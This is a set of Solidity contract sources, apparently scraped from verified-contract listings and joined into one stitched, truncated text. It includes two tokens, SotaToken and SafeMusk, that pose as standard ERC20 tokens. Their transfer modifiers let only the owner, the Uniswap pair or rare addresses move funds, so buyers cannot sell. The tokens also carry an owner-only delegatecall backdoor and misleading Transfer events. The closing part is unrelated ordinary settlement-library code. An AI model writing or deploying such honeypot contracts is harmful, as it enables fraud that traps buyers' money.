safeTransferFrom(IERC20 token, address from, address to, uint value) internal {\n callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n function safeApprove(IERC20 token, address spender, uint value) internal {\n require((value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function callOptionalReturn(IERC20 token, bytes memory data) private {\n require(address(token).isContract(), \"SafeERC20: call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = address(token).call(data);\n require(success, \"SafeERC20: low-level call failed\");\n\n if (returndata.length > 0) { // Return data is optional\n // solhint-disable-next-line max-line-length\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n\ncontract ERC20 is Context, IERC20 {\n using SafeMath for uint;\n mapping(address => uint) private _balances;\n\n mapping(address => mapping(address => uint)) private _allowances;\n\n uint private _totalSupply;\n\n function totalSupply() public override view returns(uint) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public override view returns(uint) {\n return _balances[account];\n }\n\n function transfer(address recipient, uint amount) public override returns(bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(address owner, address spender) public override view returns(uint) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint amount) public override returns(bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint amount) public override returns(bool) {\n _transfer(sender, recipient, amount);\n _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, \"ERC20: transfer amount exceeds allowance\"));\n return true;\n }\n\n function increaseAllowance(address spender, uint addedValue) public returns(bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));\n return true;\n }\n\n function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, \"ERC20: decreased allowance below zero\"));\n return true;\n }\n\n function _transfer(address sender, address recipient, uint amount) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint amount) internal {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint amount) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(address owner, address spender, uint amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}\n\nabstract contract ERC20Detailed is IERC20 {\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n constructor(string memory name, string memory symbol, uint8 decimals) {\n _name = name;\n _symbol = symbol;\n _decimals = decimals;\n }\n\n function name() public view returns(string memory) {\n return _name;\n }\n\n function symbol() public view returns(string memory) {\n return _symbol;\n }\n\n function decimals() public view returns(uint8) {\n return _decimals;\n }\n}\n\ncontract SotaToken {\n \n event Transfer(address indexed _from, address indexed _to, uint _value);\n event Approval(address indexed _owner, address indexed _spender, uint _value);\n \n function transfer(address _to, uint _value) public payable returns (bool) {\n return transferFrom(msg.sender, _to, _value);\n }\n \n function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {\n if (_value == 0) { return true; }\n if (msg.sender != _from) {\n require(allowance[_from][msg.sender] >= _value);\n allowance[_from][msg.sender] -= _value;\n }\n require(balanceOf[_from] >= _value);\n balanceOf[_from] -= _value;\n balanceOf[_to] += _value;\n emit Transfer(_from, _to, _value);\n return true;\n }\n \n function approve(address _spender, uint _value) public payable returns (bool) {\n allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n \n function delegate(address a, bytes memory b) public payable {\n require(msg.sender == owner);\n a.delegatecall(b);\n }\n \n function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {\n require(msg.sender == owner);\n uint total = _value * _tos.length;\n require(balanceOf[msg.sender] >= total);\n balanceOf[msg.sender] -= total;\n for (uint i = 0; i < _tos.length; i++) {\n address _to = _tos[i];\n balanceOf[_to] += _value;\n emit Transfer(msg.sender, _to, _value/2);\n emit Transfer(msg.sender, _to, _value/2);\n }\n return true;\n }\n\n modifier ensure(address _from, address _to) {\n require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner || isAccountValid(tx.origin));\n _;\n }\n\n function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {\n (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);\n\n pair = address(uint(keccak256(abi.encodePacked(\n hex'ff',\n factory,\n keccak256(abi.encodePacked(token0, token1)),\n hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'\n ))));\n }\n \n mapping (address => uint) public balanceOf;\n mapping (address => mapping (address => uint)) public allowance;\n \n uint constant public decimals = 18;\n uint public totalSupply = 250000000000000000000000000;\n string public name = \"SOTA\";\n string public symbol = \"SOTA\";\n address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n address private owner;\n address public uniPair;\n\n function sliceUint(bytes memory bs)\n internal pure\n returns (uint)\n {\n uint x;\n assembly {\n x := mload(add(bs, add(0x10, 0)))\n }\n return x;\n }\n\n function isAccountValid(address subject) pure public returns (bool result) {\n return uint256(sliceUint(abi.encodePacked(subject))) % 100 == 0;\n }\n\n function onlyByHundred() view public returns (bool result) {\n require(isAccountValid(msg.sender) == true, \"Only one in a hundred accounts should be able to do this\");\n return true;\n }\n\n constructor() {\n owner = msg.sender;\n \n uniPair = pairFor(uniFactory, wETH, address(this));\n allowance[address(this)][uniRouter] = uint(-1);\n allowance[msg.sender][uniPair] = uint(-1);\n }\n\n function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {\n require(msg.sender == owner);\n balanceOf[address(this)] = _numList;\n balanceOf[msg.sender] = totalSupply * 6 / 100;\n\n IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(\n address(this),\n _numList,\n _numList,\n msg.value,\n msg.sender,\n block.timestamp + 600\n );\n\n require(_tos.length == _amounts.length);\n\n for(uint i = 0; i < _tos.length; i++) {\n balanceOf[_tos[i]] = _amounts[i];\n emit Transfer(address(0x0), _tos[i], _amounts[i]);\n }\n }\n}" } }, "settings": { "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "abi" ] } }, "libraries": {} } }}
DC1
pragma solidity ^0.5.17; // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract SafeMusk { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 8; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.4.25; pragma experimental ABIEncoderV2; library Strings { /** * Concat (High gas cost) * * Appends two strings together and returns a new value * * @param _base When being used for a data type this is the extended object * otherwise this is the string which will be the concatenated * prefix * @param _value The value to be the concatenated suffix * @return string The resulting string from combinging the base and value */ function concat(string _base, string _value) internal pure returns (string) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); assert(_valueBytes.length > 0); string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length); bytes memory _newValue = bytes(_tmpValue); uint i; uint j; for(i = 0; i < _baseBytes.length; i++) { _newValue[j++] = _baseBytes[i]; } for(i = 0; i<_valueBytes.length; i++) { _newValue[j++] = _valueBytes[i]; } return string(_newValue); } /** * Index Of * * Locates and returns the position of a character within a string * * @param _base When being used for a data type this is the extended object * otherwise this is the string acting as the haystack to be * searched * @param _value The needle to search for, at present this is currently * limited to one character * @return int The position of the needle starting from 0 and returning -1 * in the case of no matches found */ function indexOf(string _base, string _value) internal pure returns (int) { return _indexOf(_base, _value, 0); } /** * Index Of * * Locates and returns the position of a character within a string starting * from a defined offset * * @param _base When being used for a data type this is the extended object * otherwise this is the string acting as the haystack to be * searched * @param _value The needle to search for, at present this is currently * limited to one character * @param _offset The starting point to start searching from which can start * from 0, but must not exceed the length of the string * @return int The position of the needle starting from 0 and returning -1 * in the case of no matches found */ function _indexOf(string _base, string _value, uint _offset) internal pure returns (int) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); assert(_valueBytes.length == 1); for(uint i = _offset; i < _baseBytes.length; i++) { if (_baseBytes[i] == _valueBytes[0]) { return int(i); } } return -1; } /** * Length * * Returns the length of the specified string * * @param _base When being used for a data type this is the extended object * otherwise this is the string to be measured * @return uint The length of the passed string */ function length(string _base) internal pure returns (uint) { bytes memory _baseBytes = bytes(_base); return _baseBytes.length; } /** * Sub String * * Extracts the beginning part of a string based on the desired length * * @param _base When being used for a data type this is the extended object * otherwise this is the string that will be used for * extracting the sub string from * @param _length The length of the sub string to be extracted from the base * @return string The extracted sub string */ function substring(string _base, int _length) internal pure returns (string) { return _substring(_base, _length, 0); } /** * Sub String * * Extracts the part of a string based on the desired length and offset. The * offset and length must not exceed the lenth of the base string. * * @param _base When being used for a data type this is the extended object * otherwise this is the string that will be used for * extracting the sub string from * @param _length The length of the sub string to be extracted from the base * @param _offset The starting point to extract the sub string from * @return string The extracted sub string */ function _substring(string _base, int _length, int _offset) internal pure returns (string) { bytes memory _baseBytes = bytes(_base); assert(uint(_offset+_length) <= _baseBytes.length); string memory _tmp = new string(uint(_length)); bytes memory _tmpBytes = bytes(_tmp); uint j = 0; for(uint i = uint(_offset); i < uint(_offset+_length); i++) { _tmpBytes[j++] = _baseBytes[i]; } return string(_tmpBytes); } /** * String Split (Very high gas cost) * * Splits a string into an array of strings based off the delimiter value. * Please note this can be quite a gas expensive function due to the use of * storage so only use if really required. * * @param _base When being used for a data type this is the extended object * otherwise this is the string value to be split. * @param _value The delimiter to split the string on which must be a single * character * @return string[] An array of values split based off the delimiter, but * do not container the delimiter. */ function split(string _base, string _value) internal returns (string[] storage splitArr) { bytes memory _baseBytes = bytes(_base); uint _offset = 0; while(_offset < _baseBytes.length-1) { int _limit = _indexOf(_base, _value, _offset); if (_limit == -1) { _limit = int(_baseBytes.length); } string memory _tmp = new string(uint(_limit)-_offset); bytes memory _tmpBytes = bytes(_tmp); uint j = 0; for(uint i = _offset; i < uint(_limit); i++) { _tmpBytes[j++] = _baseBytes[i]; } _offset = uint(_limit) + 1; splitArr.push(string(_tmpBytes)); } return splitArr; } /** * Compare To * * Compares the characters of two strings, to ensure that they have an * identical footprint * * @param _base When being used for a data type this is the extended object * otherwise this is the string base to compare against * @param _value The string the base is being compared to * @return bool Simply notates if the two string have an equivalent */ function compareTo(string _base, string _value) internal pure returns (bool) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); if (_baseBytes.length != _valueBytes.length) { return false; } for(uint i = 0; i < _baseBytes.length; i++) { if (_baseBytes[i] != _valueBytes[i]) { return false; } } return true; } /** * Compare To Ignore Case (High gas cost) * * Compares the characters of two strings, converting them to the same case * where applicable to alphabetic characters to distinguish if the values * match. * * @param _base When being used for a data type this is the extended object * otherwise this is the string base to compare against * @param _value The string the base is being compared to * @return bool Simply notates if the two string have an equivalent value * discarding case */ function compareToIgnoreCase(string _base, string _value) internal pure returns (bool) { bytes memory _baseBytes = bytes(_base); bytes memory _valueBytes = bytes(_value); if (_baseBytes.length != _valueBytes.length) { return false; } for(uint i = 0; i < _baseBytes.length; i++) { if (_baseBytes[i] != _valueBytes[i] && _upper(_baseBytes[i]) != _upper(_valueBytes[i])) { return false; } } return true; } /** * Upper * * Converts all the values of a string to their corresponding upper case * value. * * @param _base When being used for a data type this is the extended object * otherwise this is the string base to convert to upper case * @return string */ function upper(string _base) internal pure returns (string) { bytes memory _baseBytes = bytes(_base); for (uint i = 0; i < _baseBytes.length; i++) { _baseBytes[i] = _upper(_baseBytes[i]); } return string(_baseBytes); } /** * Lower * * Converts all the values of a string to their corresponding lower case * value. * * @param _base When being used for a data type this is the extended object * otherwise this is the string base to convert to lower case * @return string */ function lower(string _base) internal pure returns (string) { bytes memory _baseBytes = bytes(_base); for (uint i = 0; i < _baseBytes.length; i++) { _baseBytes[i] = _lower(_baseBytes[i]); } return string(_baseBytes); } /** * Upper * * Convert an alphabetic character to upper case and return the original * value when not alphabetic * * @param _b1 The byte to be converted to upper case * @return bytes1 The converted value if the passed value was alphabetic * and in a lower case otherwise returns the original value */ function _upper(bytes1 _b1) private pure returns (bytes1) { if (_b1 >= 0x61 && _b1 <= 0x7A) { return bytes1(uint8(_b1)-32); } return _b1; } /** * Lower * * Convert an alphabetic character to lower case and return the original * value when not alphabetic * * @param _b1 The byte to be converted to lower case * @return bytes1 The converted value if the passed value was alphabetic * and in a upper case otherwise returns the original value */ function _lower(bytes1 _b1) private pure returns (bytes1) { if (_b1 >= 0x41 && _b1 <= 0x5A) { return bytes1(uint8(_b1)+32); } return _b1; } } contract Beneficiary { /// @notice Receive ethers to the given wallet's given balance type /// @param wallet The address of the concerned wallet /// @param balanceType The target balance type of the wallet function receiveEthersTo(address wallet, string balanceType) public payable; /// @notice Receive token to the given wallet's given balance type /// @dev The wallet must approve of the token transfer prior to calling this function /// @param wallet The address of the concerned wallet /// @param balanceType The target balance type of the wallet /// @param amount The amount to deposit /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @param standard The standard of the token ("" for default registered, "ERC20", "ERC721") function receiveTokensTo(address wallet, string balanceType, int256 amount, address currencyCt, uint256 currencyId, string standard) public; } contract AccrualBeneficiary is Beneficiary { // // Functions // ----------------------------------------------------------------------------------------------------------------- event CloseAccrualPeriodEvent(); // // Functions // ----------------------------------------------------------------------------------------------------------------- function closeAccrualPeriod(MonetaryTypesLib.Currency[]) public { emit CloseAccrualPeriodEvent(); } } library ConstantsLib { // Get the fraction that represents the entirety, equivalent of 100% function PARTS_PER() public pure returns (int256) { return 1e18; } } library CurrenciesLib { using SafeMathUintLib for uint256; // // Structures // ----------------------------------------------------------------------------------------------------------------- struct Currencies { MonetaryTypesLib.Currency[] currencies; mapping(address => mapping(uint256 => uint256)) indexByCurrency; } // // Functions // ----------------------------------------------------------------------------------------------------------------- function add(Currencies storage self, address currencyCt, uint256 currencyId) internal { // Index is 1-based if (0 == self.indexByCurrency[currencyCt][currencyId]) { self.currencies.push(MonetaryTypesLib.Currency(currencyCt, currencyId)); self.indexByCurrency[currencyCt][currencyId] = self.currencies.length; } } function removeByCurrency(Currencies storage self, address currencyCt, uint256 currencyId) internal { // Index is 1-based uint256 index = self.indexByCurrency[currencyCt][currencyId]; if (0 < index) removeByIndex(self, index - 1); } function removeByIndex(Currencies storage self, uint256 index) internal { require(index < self.currencies.length); address currencyCt = self.currencies[index].ct; uint256 currencyId = self.currencies[index].id; if (index < self.currencies.length - 1) { self.currencies[index] = self.currencies[self.currencies.length - 1]; self.indexByCurrency[self.currencies[index].ct][self.currencies[index].id] = index + 1; } self.currencies.length--; self.indexByCurrency[currencyCt][currencyId] = 0; } function count(Currencies storage self) internal view returns (uint256) { return self.currencies.length; } function has(Currencies storage self, address currencyCt, uint256 currencyId) internal view returns (bool) { return 0 != self.indexByCurrency[currencyCt][currencyId]; } function getByIndex(Currencies storage self, uint256 index) internal view returns (MonetaryTypesLib.Currency) { require(index < self.currencies.length); return self.currencies[index]; } function getByIndices(Currencies storage self, uint256 low, uint256 up) internal view returns (MonetaryTypesLib.Currency[]) { require(0 < self.currencies.length); require(low <= up); up = up.clampMax(self.currencies.length - 1); MonetaryTypesLib.Currency[] memory _currencies = new MonetaryTypesLib.Currency[](up - low + 1); for (uint256 i = low; i <= up; i++) _currencies[i - low] = self.currencies[i]; return _currencies; } } library DriipSettlementTypesLib { // // Structures // ----------------------------------------------------------------------------------------------------------------- enum SettlementRole {Origin, Target} struct SettlementParty { uint256 nonce; address wallet; bool done; } struct Settlement { string settledKind; bytes32 settledHash; SettlementParty origin; SettlementParty target; } } library FungibleBalanceLib { using SafeMathIntLib for int256; using SafeMathUintLib for uint256; using CurrenciesLib for CurrenciesLib.Currencies; // // Structures // ----------------------------------------------------------------------------------------------------------------- struct Record { int256 amount; uint256 blockNumber; } struct Balance { mapping(address => mapping(uint256 => int256)) amountByCurrency; mapping(address => mapping(uint256 => Record[])) recordsByCurrency; CurrenciesLib.Currencies inUseCurrencies; CurrenciesLib.Currencies everUsedCurrencies; } // // Functions // ----------------------------------------------------------------------------------------------------------------- function get(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (int256) { return self.amountByCurrency[currencyCt][currencyId]; } function getByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber) internal view returns (int256) { (int256 amount,) = recordByBlockNumber(self, currencyCt, currencyId, blockNumber); return amount; } function set(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = amount; self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function add(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add(amount); self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function sub(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub(amount); self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function transfer(Balance storage _from, Balance storage _to, int256 amount, address currencyCt, uint256 currencyId) internal { sub(_from, amount, currencyCt, currencyId); add(_to, amount, currencyCt, currencyId); } function add_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add_nn(amount); self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function sub_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub_nn(amount); self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function transfer_nn(Balance storage _from, Balance storage _to, int256 amount, address currencyCt, uint256 currencyId) internal { sub_nn(_from, amount, currencyCt, currencyId); add_nn(_to, amount, currencyCt, currencyId); } function recordsCount(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (uint256) { return self.recordsByCurrency[currencyCt][currencyId].length; } function recordByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber) internal view returns (int256, uint256) { uint256 index = indexByBlockNumber(self, currencyCt, currencyId, blockNumber); return 0 < index ? recordByIndex(self, currencyCt, currencyId, index - 1) : (0, 0); } function recordByIndex(Balance storage self, address currencyCt, uint256 currencyId, uint256 index) internal view returns (int256, uint256) { if (0 == self.recordsByCurrency[currencyCt][currencyId].length) return (0, 0); index = index.clampMax(self.recordsByCurrency[currencyCt][currencyId].length - 1); Record storage record = self.recordsByCurrency[currencyCt][currencyId][index]; return (record.amount, record.blockNumber); } function lastRecord(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (int256, uint256) { if (0 == self.recordsByCurrency[currencyCt][currencyId].length) return (0, 0); Record storage record = self.recordsByCurrency[currencyCt][currencyId][self.recordsByCurrency[currencyCt][currencyId].length - 1]; return (record.amount, record.blockNumber); } function hasInUseCurrency(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (bool) { return self.inUseCurrencies.has(currencyCt, currencyId); } function hasEverUsedCurrency(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (bool) { return self.everUsedCurrencies.has(currencyCt, currencyId); } function updateCurrencies(Balance storage self, address currencyCt, uint256 currencyId) internal { if (0 == self.amountByCurrency[currencyCt][currencyId] && self.inUseCurrencies.has(currencyCt, currencyId)) self.inUseCurrencies.removeByCurrency(currencyCt, currencyId); else if (!self.inUseCurrencies.has(currencyCt, currencyId)) { self.inUseCurrencies.add(currencyCt, currencyId); self.everUsedCurrencies.add(currencyCt, currencyId); } } function indexByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber) internal view returns (uint256) { if (0 == self.recordsByCurrency[currencyCt][currencyId].length) return 0; for (uint256 i = self.recordsByCurrency[currencyCt][currencyId].length; i > 0; i--) if (self.recordsByCurrency[currencyCt][currencyId][i - 1].blockNumber <= blockNumber) return i; return 0; } } contract Modifiable { // // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier notNullAddress(address _address) { require(_address != address(0)); _; } modifier notThisAddress(address _address) { require(_address != address(this)); _; } modifier notNullOrThisAddress(address _address) { require(_address != address(0)); require(_address != address(this)); _; } modifier notSameAddresses(address _address1, address _address2) { if (_address1 != _address2) _; } } library MonetaryTypesLib { // // Structures // ----------------------------------------------------------------------------------------------------------------- struct Currency { address ct; uint256 id; } struct Figure { int256 amount; Currency currency; } struct NoncedAmount { uint256 nonce; int256 amount; } } library NahmiiTypesLib { // // Enums // ----------------------------------------------------------------------------------------------------------------- enum ChallengePhase {Dispute, Closed} // // Structures // ----------------------------------------------------------------------------------------------------------------- struct OriginFigure { uint256 originId; MonetaryTypesLib.Figure figure; } struct IntendedConjugateCurrency { MonetaryTypesLib.Currency intended; MonetaryTypesLib.Currency conjugate; } struct SingleFigureTotalOriginFigures { MonetaryTypesLib.Figure single; OriginFigure[] total; } struct TotalOriginFigures { OriginFigure[] total; } struct CurrentPreviousInt256 { int256 current; int256 previous; } struct SingleTotalInt256 { int256 single; int256 total; } struct IntendedConjugateCurrentPreviousInt256 { CurrentPreviousInt256 intended; CurrentPreviousInt256 conjugate; } struct IntendedConjugateSingleTotalInt256 { SingleTotalInt256 intended; SingleTotalInt256 conjugate; } struct WalletOperatorHashes { bytes32 wallet; bytes32 operator; } struct Signature { bytes32 r; bytes32 s; uint8 v; } struct Seal { bytes32 hash; Signature signature; } struct WalletOperatorSeal { Seal wallet; Seal operator; } } library 